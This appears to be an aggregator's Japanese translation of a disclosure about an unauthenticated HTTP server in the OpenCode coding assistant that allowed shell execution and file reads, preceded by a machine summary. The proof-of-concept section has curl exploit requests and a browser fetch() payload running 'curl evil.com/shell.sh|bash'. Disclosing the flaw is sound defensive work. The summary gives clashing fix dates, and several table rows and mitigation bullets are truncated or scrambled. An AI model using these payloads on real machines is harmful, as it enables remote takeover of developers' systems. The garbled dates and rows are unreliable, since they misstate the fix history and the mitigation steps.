
2026/01/12 7:33
**OpenCode における認証不要のリモートコード実行脆弱性**
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
Summary:
OpenCode の以前のリリース(v1.1.10 より前)では、認証不要な HTTP サーバーがポート 4096+ でリッスンしていました。この隠れたサービスにより、誰でもシェルコマンドを送信したり、PTY セッションを開いたり、任意のファイルを読み取ったりすることができました。ログインや可視的な指標は不要でした。デフォルト設定では v1.1.10 でのみ機能が無効化されていましたが、コマンドラインフラグまたは設定編集により再度有効化することが可能であり、CORS ポリシーは誤って任意の
*.opencode.ai オリジンから API アクセスを許可していました。セキュリティ研究者は単純な curl リクエストとブラウザ fetch を用いて攻撃を実演し、修正前にリモートコード実行およびデータ外部転送が可能であることを示しました。
この問題は 2026‑01‑30 に v1.0.216(CORS 制限)で部分的に緩和され、数日後の 2026‑01‑09 に完全なデフォルト無効化が導入されました。ユーザーは ≥ v1.1.10 へのアップグレードを推奨し、サーバー設定を確認し、
--mdns フラグの使用を避け、脆弱なサービスが有効な間は opencode.ai の訪問を控えるようにしてください。開発者は認証の強制、明確なランタイム指標の追加、CORS の厳格化、TLS の有効化、およびドキュメントの改善を行うべきです。
パッチが未適用の場合、影響を受けるユーザーは自分のマシン上で任意コード実行のリスクがあり、古い OpenCode バージョンを使用している企業ではデータ漏洩につながる可能性があります。この事件は、デフォルト設定の強化と業界全体でのセキュリティパッチ適用の迅速さの重要性を浮き彫りにしています。
Summary Skeleton
What the text is mainly trying to say (main message)
OpenCode は v1.1.10 より前に認証不要な HTTP サーバーを持ち、リモートコード実行とファイル読み取りが可能であったことを伝えています。
Evidence / reasoning (why this is said)
サーバーはデフォルトでポート 4096+ で起動し、シェルコマンド、PTY セッション、任意ファイルの読み取りを受け付けていました。v1.1.10 で初めてデフォルト無効化されましたが、フラグや設定変更により再有効化でき、CORS は
*.opencode.ai オリジン全てを許可していました。
Related cases / background (context, past events, surrounding info)
部分的な緩和(CORS 制限)は 2026‑01‑30 の v1.0.216 に、完全なデフォルト無効化は 2026‑01‑09 の v1.1.10 に実装されました。攻撃ベクトルはローカルコード実行からネットワークアクセスまで多岐にわたり、
--mdns フラグ使用時にはさらなる脆弱性が確認されています。
What may happen next (future developments / projections written in the text)
ユーザーは ≥ v1.1.10 へのアップグレードを行い、サーバー設定の確認、
--mdns フラグ回避、opencode.ai の訪問中止を実施すべきです。開発者は認証強制、ランタイム指標追加、CORS 厳格化、TLS 有効化、ドキュメント改善に努める必要があります。
What impacts this could have (users / companies / industry)
影響を受けたユーザーは任意コード実行のリスクがあり、企業ではデータ漏洩やセキュリティ侵害が発生する恐れがあります。業界全体としてはデフォルト設定の強化と迅速なパッチ適用が求められます。
本文
対象ソフトウェア:
OpenCode(npmパッケージ
opencode-ai)
TL;DR
- v1.1.10以前 – OpenCode は起動時に認証無しで自動的に Web サーバーを立ち上げ、ピアが任意のコードを実行できるようにしていました。
- v1.0.216以前 – OpenCode が稼働していると、ユーザー操作や設定なしに任意のウェブサイトからマシン上でコードが実行可能でした。
- v1.1.10以降 – サーバーはデフォルトで無効化されていますが、有効化(フラグまたは設定)すると完全に認証無しの状態になります。
脆弱性概要
OpenCode はオープンソースの AI コーディングアシスタントです。
v1.1.10以前、起動時にポート ≥ 4096 で HTTP サーバーを自動的に立ち上げていました。このサーバーは以下のエンドポイントを公開します:
– 任意のシェルコマンド実行POST /session/:id/shell
– インタラクティブ端末セッション作成POST /pty
– 任意ファイル読み取りGET /file/content
サーバーには 認証機能が無いため、接続できるクライアントは OpenCode を起動しているユーザー権限で完全にコードを実行できます。サーバーが稼働中かどうかを示す可視的なインジケータはありません。
注: CORS ポリシーでは
*.opencode.ai が許可されたオリジンとしてハードコーディングされています。opencode.ai またはそのサブドメインから提供されるページは、サーバーが稼働している場合に API にアクセスできます。opencode.ai の侵害や任意のサブドメインでの XSS があれば、サーバーを有効化したすべてのユーザーが危険にさらされます。
攻撃ベクトル
| 攻撃ベクトル | 対象バージョン | 状況 | ベンダーアドバイザリ |
|---|---|---|---|
| 任意のウェブサイトから OpenCode ユーザーのマシンでコード実行 | | v1.0.216 で修正済み(サイレント) | – |
| ローカルマシン上の任意プロセスが OpenCode ユーザー権限でコード実行 | | v1.1.10 で緩和済み(サイレント) | – |
| localhost/127.0.0.1 から提供される任意ページがコード実行 | | v1.1.10 で緩和済み(サイレント) | – |
| サーバー有効時にローカルプロセスが認証無しでコード実行 | 全バージョン | 未修正 | None |
| サーバー有効時に localhost/127.0.0.1 から提供されるページがコード実行 | 全バージョン | 未修正 | None |
| サーバー稼働中の可視的インジケータ無し(ユーザーは暴露を認識できない) | 全バージョン | 未修正 | None |
を使用するとローカルネットワーク上の任意マシンがコード実行可能 | 全バージョン | 未修正 | None |
がサーバー稼働時にコード実行できる | 全バージョン | 未修正 | None |
が侵害されればサーバー有効ユーザー全員がアクセス可能 | 全バージョン | 未修正 | None |
上の任意 XSS がサーバー有効ユーザーを攻撃可能 | 全バージョン | 未修正 | None |
証明実装
ローカルでの悪用(サーバー有効時)
API="http://127.0.0.1:4096" SESSION=$(curl -s -X POST "$API/session" \ -H "Content-Type: application/json" -d '{}' | jq -r '.id') curl -s -X POST "$API/session/$SESSION/shell" \ -H "Content-Type: application/json" \ -d '{"agent":"build","command":"id > /tmp/pwned.txt"}'
ブラウザベースの悪用(v1.0.216以前)
fetch('http://127.0.0.1:4096/session', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: '{}' }).then(r => r.json()).then(s => { fetch(`http://127.0.0.1:4096/session/${s.id}/shell`, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({agent:'build', command:'curl evil.com/shell.sh|bash'}) }) })
Firefox で動作確認済み。Chrome は Local Network Access 保護によりプロンプトが表示される可能性があります。
ユーザー向け緩和策
- 直ちに実施すべきこと
- バージョン確認:
opencode --version - v1.1.10 以降へ更新(デフォルトでサーバーは無効)
- 設定ファイル (
,server.port
) を確認し、サーバーが静かに有効化されていないかチェックserver.hostname
フラグを使用する場合は、--mdns
にバインドしていることを理解0.0.0.0- サーバーを有効にしたまま
やそのサブドメインへのアクセスは避けるopencode.ai - ローカルプロセスが認証無しでサーバーに接続できる点を留意
- バージョン確認:
開示タイムライン
| 日付 | 行動 | 初回開示時の対応 |
|---|---|---|
| 2025‑11‑17 | support@sst.dev(SECURITY.md に従い)へ報告 | 無回答 |
| 2025‑12‑27 | GitHub Security Advisory を提出 | 無回答 |
| 2025‑12‑29 | 別ユーザーによる独立公開報告 | — |
| 2025‑12‑30 | CORS を v1.0.216 で限定的に修正 | — |
| 2026‑01‑07 | コミュニティ Discord にエスカレーション | 無回答 |
| 2026‑01‑08 | Issue コメントでフォローアップ | 上流が issue に応答 |
| 2026‑01‑09 | v1.1.10 でサーバーをデフォルト無効化 | — |
| 2026‑01‑11 | 完全公開開示 | — |
推奨事項
- CORS を最小限に制限(v1.0.216 で実装済み)
- サーバーをデフォルトで無効化(v1.1.10 で実装済み)
- 全てのサーバーリクエストに認証を必須化
- サーバー稼働時の明示的表示(起動メッセージや UI インジケータなど)を導入
のドキュメントを改善し、--mdns
バインドとローカルネットワーク全体へのアクセス許可を明確化0.0.0.0- ネットワーク通信で TLS を強制適用
- GitHub Security Advisory(公開済み;CVE は保留中)を発行
- セキュリティ報告メールアドレスの監視を徹底
- GHSA 通知のモニタリング
- OpenCode メンテナ、
、OpenCode ユーザー間の信頼関係を明確化opencode.ai
連絡先
開示に関する質問は
cy.md
更新日:2026‑01‑12
Code analysis and documentation assisted by Claude AI (Opus 4.5).